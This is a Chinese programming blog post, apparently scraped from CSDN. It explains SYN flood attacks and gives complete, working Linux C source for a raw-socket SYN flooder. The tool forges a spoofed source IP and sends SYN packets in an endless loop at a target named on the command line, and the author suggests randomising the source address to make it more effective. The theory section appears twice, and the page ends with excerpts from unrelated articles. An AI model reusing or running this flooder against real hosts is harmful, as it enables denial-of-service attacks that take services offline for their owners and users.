原始套接字的使用之编程实现DOS攻击器

0x00 原理

SYN泛洪攻击(SYN Flood)是当前最流行的DoS与DDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或者内存不足)的攻击方式。

首先要先了解正常情况下的TCP连接建立过程。

(1)客户端发送一个Flag为SYN的TCP报文,并设置一个seq序列号x。

(2)服务器接收到了这个报文,然后立刻发送一个Flag为SYN+ACK的报文,重要的
 是服务器也会发送一个seq序列号,作为客户端验证的输入,并且还要回复一个  ack字段来确认,这个ack是x+1,x是客户端第一步发出的seq号码。这时,服
 务器会开始分配一些资源,尽管现在连接没有正式建立。

(3)客户端接收到了这个来自服务器的报文之后,再回复一个Flag为ACK的确认报
 文,ack自然是服务器端的y再加上1了,这时一个TCP连接才算完全建立。

0x00 原理

SYN泛洪攻击(SYN Flood)是当前最流行的DoS与DDoS的方式之一,这是由于TCP协议的缺陷造成的。攻击者通过发送大量伪造的TCP连接请求,从而使得被攻击方资源耗尽(CPU满负荷或者内存不足)的攻击方式。

首先要先了解正常情况下的TCP连接建立过程。

(1)客户端发送一个Flag为SYN的TCP报文,并设置一个seq序列号x。

(2)服务器接收到了这个报文,然后立刻发送一个Flag为SYN+ACK的报文,重要的
 是服务器也会发送一个seq序列号,作为客户端验证的输入,并且还要回复一个  ack字段来确认,这个ack是x+1,x是客户端第一步发出的seq号码。这时,服
 务器会开始分配一些资源,尽管现在连接没有正式建立。

(3)客户端接收到了这个来自服务器的报文之后,再回复一个Flag为ACK的确认报
 文,ack自然是服务器端的y再加上1了,这时一个TCP连接才算完全建立。

int skfd ;
   socket(AF_INET,SOCK_RAW,IPPROTO_TCP)

前面提到,要想自行构造IPV4首部,必须要设置相应的socket字段,由于SYN Flood要构造出假的IP来源字段,所以这个地方要注意。这个选项是IP_HDRINCL,如果开启,那么由进程让内核发送的数据的起始位置指的是IP首部的第一个字节,进程调用输出函数写出的数据量必须包括IP首部的大小。整个IP首部由进程构造,不过IPV4标识字段可以置为0,从而告知内核设置该值;另外,IPV4选项字段是可选的。设置socket选项可以使用下面的代码实现:

if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
	perror("IP_HDRINCL failed");
	exit(1);
   }

上面的on是一个整型常量,为1。

我们知道,TCP是建立在IP的基础上,所以有了构造IP报文的方法,我们只需要在IP报文的基础上加入TCP报文即可。这就要求我们遵循TCP协议规范,而且还要自己计算出校验和。TCP报文结构定义如下:

//定义TCP报头
typedef struct _tcphdr
{
   unsigned short th_sport; //16位源端口
   unsigned short th_dport; //16位目的端口
   unsigned int th_seq; //32位序列号
   unsigned int th_ack; //32位确认号
   unsigned char th_lenres; //4位首部长度/4位保留字
   unsigned char th_flag; //6位标志位
   unsigned short th_win; //16位窗口大小
   unsigned short th_sum; //16位校验和
   unsigned short th_urp; //16位紧急数据偏移量
} TCP_HEADER;

我们只需要在IP报文的基础上填充这些字段并装载在IP包中即可,重点是这里的Flag设置为SYN,校验和字段是要使用伪头计算,伪头的定义如下:

typedef struct psd_hdr
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz;
        char ptcl; //协议类型
	unsigned short tcpl; //TCP长度
}PSD_HEADER;

在计算校验和的时候必须要小心翼翼,一旦填错会导致包出错。

为了使对方处理的时间增加,我们可以在TCP/IP报文后添加一些填充的信息,将整个包做成最大的64K,这样一来可以使攻击更有效,当然也对自身的带宽有了更大的要求。

报文构造完成之后,接下来就是发送了。原始套接字普通输出通过调用sendto或者sendmsg并指定目的IP地址完成的。当然,如果套接字已经连接,那么也可以调用write或者send发送。

0x02 实现源码分享

执行效果如下:

这是在被攻击主机中的wireshark抓包结果截图。可以看到,10.10.20.132是我伪造的一个IP,而重要的表现是10.10.10.128(被攻击的主机)一直重传SYN+ACK,由于IP地址是伪造的,所以不会收到任何回应,而是一直重发。

这个DoS程序是基于Linux C实现的,因为说实话,我对windows编程实在是不感冒,而且也不会。关于这个程序,可以这样改进,把来源IP做成随机值,但是这里我为了测试就没有这么干。废话不多说,直接上代码。

#include <stdlib.h>
#include <stdio.h>
#include <errno.h>
#include <string.h>
#include <unistd.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include<errno.h>
#include <arpa/inet.h>
#include <linux/tcp.h>
#include<pthread.h>
#include<fcntl.h>

//定义TCP伪报头
typedef struct psd_hdr
{
	unsigned long saddr; //源地址
	unsigned long daddr; //目的地址
	char mbz; char ptcl; //协议类型
	unsigned short tcpl; //TCP长度

}PSD_HEADER;

//定义TCP报头
typedef struct _tcphdr
{
	unsigned short th_sport; //16位源端口
	unsigned short th_dport; //16位目的端口
	unsigned int th_seq; //32位序列号
	unsigned int th_ack; //32位确认号
	unsigned char th_lenres; //4位首部长度/4位保留字
	unsigned char th_flag; //6位标志位
	unsigned short th_win; //16位窗口大小
	unsigned short th_sum; //16位校验和
	unsigned short th_urp; //16位紧急数据偏移量

} TCP_HEADER;

//定义IP报头
typedef struct _iphdr
{
	unsigned char h_lenver ; //长度加版本号
	unsigned char tos;  //服务类型
	unsigned short total_len;  //报文长度
	unsigned short ident;  //标示,可以置为0
	unsigned short frag_and_flags;  //标志位
	unsigned char ttl;  //生存期
	unsigned char proto;  //协议字段
	unsigned short checksum;  //校验和
	unsigned int sourceIP;  //源IP
	unsigned int destIP;  //目的IP

} IP_HEADER;

// 计算校验和
unsigned short checksum(unsigned short *addr,int len){
		int nleft=len;
	   int sum=0;
	   unsigned short * w=addr;
	   unsigned short answer=0;

	   while (nleft>1)
	   {
	     sum+=*w++;
	     nleft-=2;
	   }

	   if (nleft==1)
	   {
	     *(unsigned char *)(&answer)=*(unsigned char *)w;
	     sum+=answer;
	   }

	   sum=(sum>>16)+(sum & 0xffff);
	   sum+=(sum>>16);
	   answer=~sum;
	   return(answer);
}

void attack(int skfd,struct sockaddr_in*target,unsigned short srcport){
	char buf[65535] = {0} ;
	struct _iphdr ip ;
	struct _tcphdr tcp ;
	int ip_len ;
	struct psd_hdr psdheader ;
	struct sockaddr_in srcaddr ;
	srcaddr.sin_addr.s_addr = inet_addr("10.10.20.132") ;

	struct sockaddr_in _target ;
	_target.sin_family= AF_INET ;
	_target.sin_port = target->sin_port ;
	_target.sin_addr.s_addr = target->sin_addr.s_addr ;

	ip_len = sizeof(struct iphdr) + sizeof(struct tcphdr) ;

	//开始填充IP首部
	ip.h_lenver = (4 << 4 | sizeof(ip) / sizeof(unsigned long));
	ip.total_len = htons(sizeof(tcp) + sizeof(ip));
	//ip包的目的IP地址
	ip.destIP = target->sin_addr.s_addr ;
	//ip 包的源IP地址(可以伪造)
	ip.sourceIP = srcaddr.sin_addr.s_addr ;
	//上层协议  TCP
	ip.proto = IPPROTO_TCP ;
	//3位标志位  可以分段DF=0  后面无包MF=0
	ip.frag_and_flags = 0;
	//16位校验和
	ip.checksum = 0;
	//存活期   MAXTTL
	ip.ttl = 128 ;
	//16位标识
	ip.ident = 1;

	//开始填充TCP首部
	//填充TCP
	//目的端口
	tcp.th_dport = target->sin_port ;
	//源端口
	tcp.th_sport = htons(50000) ;
	//序列号
	tcp.th_seq = htonl(0x1245678);
	//确认号
	tcp.th_ack = 0;
	//(4位首部长度/4位保留字)
	tcp.th_lenres = (sizeof(tcp) / 4 << 4 | 0);
	//SYN标志
	tcp.th_flag = 2 ;//SYN
	//滑动窗口
	tcp.th_win = htons(16384) ;
	//16位紧急数据偏移量
	tcp.th_urp = 0;
	//16位校验和
	tcp.th_sum = 0;

	//TCP伪头
	psdheader.mbz = 0 ;
	psdheader.daddr = target->sin_addr.s_addr ;
	psdheader.saddr = srcaddr.sin_addr.s_addr ;
	psdheader.ptcl = IPPROTO_TCP ;
	psdheader.tcpl = htons(sizeof(tcp)) ;

	//计算校验和
	memcpy(buf,&psdheader,sizeof(psdheader)) ;
	memcpy(buf+sizeof(psdheader),&tcp,sizeof(tcp)) ;
	tcp.th_sum = checksum((unsigned short*)buf,sizeof(psdheader)+sizeof(tcp)) ;

	//IP校验和
	memcpy(buf,&ip,sizeof(ip)) ;
	memcpy(buf+sizeof(ip),&tcp,sizeof(tcp)) ;
	ip.checksum = checksum((unsigned short*)buf,sizeof(ip)+sizeof(tcp)) ;

	memcpy(buf,&ip,sizeof(ip)) ;

	//payload
	int len = sizeof(buf) - sizeof(ip) - sizeof(tcp) ;
	printf("here===>%d\n",len) ;
	char payload[len] ;
	int i = 0;
	for(i=0;i<len;i++){
		payload[i] = '2' ;
	}
	memcpy(buf+sizeof(ip)+sizeof(tcp),payload,sizeof(payload)) ;

       //send package
      for(;;){

	  if(sendto(skfd,buf,sizeof(tcp)+sizeof(ip),0,(struct sockaddr*)&_target,sizeof(_target)) == -1){
			printf("send error:%s!\n",strerror(errno)) ;
			exit(-1) ;
	  }else{
			printf("send OK!\n");
	  }
      }//for
}
int main(int args,char* argv[]){
	if(args != 4){
		printf("Usage:ddos_attack targetIP targetPort srcPort\n") ;
		exit(-1);
	}

	int skfd ;
	struct sockaddr_in target ;
	const int on = 1 ;
	unsigned short srcport ;

	memset(&target,0,sizeof(target)) ;

	//填写目标信息
	target.sin_family = AF_INET ;
	target.sin_port = htons(atoi(argv[2])) ;
	target.sin_addr.s_addr = inet_addr(argv[1]) ;

	//创建一个原生socket
	if((skfd = socket(AF_INET,SOCK_RAW,IPPROTO_TCP)) < 0){
		printf("create socket failed!%s\n",strerror(errno));
		exit(-1) ;
	}

	//用模板代码来开启IP_HDRINCL特性,我们完全自己手动构造IP报文
	if(0>setsockopt(skfd,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on))){
		perror("IP_HDRINCL failed");
		exit(1);
     }

	//启动攻击函数
	srcport = atoi(argv[3]) ;
	attack(skfd,&target,srcport) ;
	close(skfd) ;
	return 0 ;
}

另外,转载请注明出处:http://blog.csdn.net/u011721501?viewmode=list

时间: 2024-10-21 20:54:27

原始套接字的使用之编程实现DOS攻击器的相关文章

关于linux 原始套接字编程

关于linux 网络编程最权威的书是<<unix网络编程>>,但是看这本书时有些内容你可能理解的不是很深刻,或者说只知其然而不知其所以然,那么如果你想搞懂的话那么我建议你可以看看网络协议栈的实现. 函数原型是 int socket(int domain, int type, int protocol); 其中domain 中AF_INET , AF_UNIT 较为常用,分别创建inet 域套接字和unix域套接字,unix套接字与文件相关.平时80%用的套接字都是AF_INET.这

Linux Socket 原始套接字编程

对于linux网络编程来说,可以简单的分为标准套接字编程和原始套接字编程,标准套接字主要就是应用层数据的传输,原始套接字则是可以获得不止是应用层的其他层不同协议的数据.与标准套接字相区别的主要是要开发之自己构建协议头.对于原始套接字编程有些细节性的东西还是需要注意的. 1. 原始套接字创建 原始套接字的编程和udp网络编程的流程有点类似,但是原始套接字编程中不需要bind操作,因为在数据接收和发送过程中使用sendto和recvfrom函数实现数据的接收和发送.不过不是说原始套接字不能使用bin

Linux网络编程——原始套接字实例:简单版网络数据分析器

通过<Linux网络编程--原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 MAC 头部(有线局域网) 注意:CRC.PAD 在组包时可以忽略 链路层数据包的其中一种情况: unsigned char msg[1024] = { //--------------组MAC--------14------ 0xb8, 0x88, 0xe3, 0xe1, 0x10, 0xe6, // dst

【转】网络编程原始套接字

转自:http://www.cnblogs.com/hnrainll/archive/2011/09/20/2182423.html SOCKET_STREAM 流式套接字      SOCKET_DGRAM        SOCKET_RAW 原始套接字    IPPROTO_IP IP协议    IPPROTO_ICMP INTERNET控制消息协议,配合原始套接字可以实现ping的功能    IPPROTO_IGMP INTERNET 网关服务协议,在多播中用到 在AF_INET地址族下,

《网络编程》原始套接字 ---ping程序实现

概述 基于字节流套接字(SOCK_STREAM)和数据报套接字(SOCK_DGRAM)不可以访问传输层协议,只是对应用层的报文进行操作,传输层的数据报格式都是由系统提供的协议栈实现,用户只需要填充相应的应用层报文,由系统完成底层报文首部的填充并发送.原始套接字(SOCK_RAW)可以访问位于基层的传输层协议,原始套接字没有端口号. 原始套接字(SOCK_RAW)是一种不同于 SOCK_STREAM.SOCK_DGRAM 的套接字,它实现于系统核心.原始套接字使进程可以读与写 ICMP.IGMP

Linux网络编程:原始套接字的魔力【上】

基于原始套接字编程 在开发面向连接的TCP和面向无连接的UDP程序时,我们所关心的核心问题在于数据收发层面,数据的传输特性由TCP或UDP来保证: 也就是说,对于TCP或UDP的程序开发,焦点在Data字段,我们没法直接对TCP或UDP头部字段进行赤裸裸的修改,当然还有IP头.换句话说,我们对它们头部操作的空间非常受限,只能使用它们已经开放给我们的诸如源.目的IP,源.目的端口等等. 今天我们讨论一下原始套接字的程序开发,用它作为入门协议栈的进阶跳板太合适不过了.OK闲话不多说,进入正题. 原始

Linux网络编程——原始套接字能干什么?

通常情况下程序员接所接触到的套接字(Socket)为两类: (1)流式套接字(SOCK_STREAM):一种面向连接的 Socket,针对于面向连接的TCP 服务应用: (2)数据报式套接字(SOCK_DGRAM):一种无连接的 Socket,对应于无连接的 UDP 服务应用. 从用户的角度来看,SOCK_STREAM.SOCK_DGRAM 这两类套接字似乎的确涵盖了 TCP/IP 应用的全部,因为基于 TCP/IP 的应用,从协议栈的层次上讲,在传输层的确只可能建立于 TCP 或 UDP 协议

Linux网络编程——原始套接字编程

原始套接字编程和之前的 UDP 编程差不多,无非就是创建一个套接字后,通过这个套接字接收数据或者发送数据.区别在于,原始套接字可以自行组装数据包(伪装本地 IP,本地 MAC),可以接收本机网卡上所有的数据帧(数据包).另外,必须在管理员权限下才能使用原始套接字. 原始套接字的创建: int socket ( int family, int type, int protocol ); 参数: family:协议族 这里写 PF_PACKET type:  套接字类,这里写 SOCK_RAW pr

Linux网络编程——原始套接字实例:MAC 头部报文分析

通过<Linux网络编程——原始套接字编程>得知,我们可以通过原始套接字以及 recvfrom( ) 可以获取链路层的数据包,那我们接收的链路层数据包到底长什么样的呢? 链路层封包格式 MAC 头部(有线局域网) 注意:CRC.PAD 在组包时可以忽略 链路层数据包的其中一种情况: 1 unsigned char msg[1024] = { 2 //--------------组MAC--------14------ 3 0xb8, 0x88, 0xe3, 0xe1, 0x10, 0xe6,